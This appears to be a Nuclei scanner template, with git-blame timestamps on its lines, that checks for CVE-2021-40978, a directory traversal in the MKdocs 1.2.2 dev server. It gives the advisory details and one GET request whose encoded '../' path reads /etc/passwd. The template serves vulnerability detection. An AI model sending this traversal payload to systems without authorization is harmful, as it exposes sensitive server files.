2021-10-14 01:37:46 +00:00
id : CVE-2021-40978
info :
2022-04-21 21:16:41 +00:00
name : MKdocs 1.2.2 - Directory Traversal
2021-10-14 01:37:46 +00:00
author : pikpikcu
severity : high
2022-05-17 09:18:12 +00:00
description : The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can read or modify sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade MKdocs to version 1.2.3 or later to fix the directory traversal vulnerability.
2021-10-14 03:53:48 +00:00
reference :
2022-03-06 16:50:17 +00:00
- https://github.com/mkdocs/mkdocs/pull/2604
2021-10-14 03:53:48 +00:00
- https://github.com/nisdn/CVE-2021-40978
- https://nvd.nist.gov/vuln/detail/CVE-2021-40978
2023-04-12 10:55:48 +00:00
- https://github.com/mkdocs/mkdocs
2023-07-11 19:49:27 +00:00
- https://github.com/mkdocs/mkdocs/issues/2601
2021-10-17 02:21:14 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-10-17 02:21:14 +00:00
cve-id : CVE-2021-40978
cwe-id : CWE-22
2024-05-31 19:23:20 +00:00
epss-score : 0.04239
epss-percentile : 0.92255
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:mkdocs:mkdocs:1.2.2:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : mkdocs
product : mkdocs
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,mkdocs,lfi
2021-10-14 01:37:46 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-10-14 01:37:46 +00:00
- method : GET
path :
- '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
matchers-condition : and
matchers :
- type : regex
2023-07-11 19:49:27 +00:00
part : body
2021-10-14 01:37:46 +00:00
regex :
- "root:[x*]:0:0:"
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 4a0a00473045022100e80fd425b53f7f35d7683c5353de18764fa1a87380a6e038061ebfd196dc45f302201a7aebcc35cbd2b3b5004ddaa381b9fd3117d7b7fbee65257c3df158e25c1f7e:922c64590222798bb761d5b6d8e72950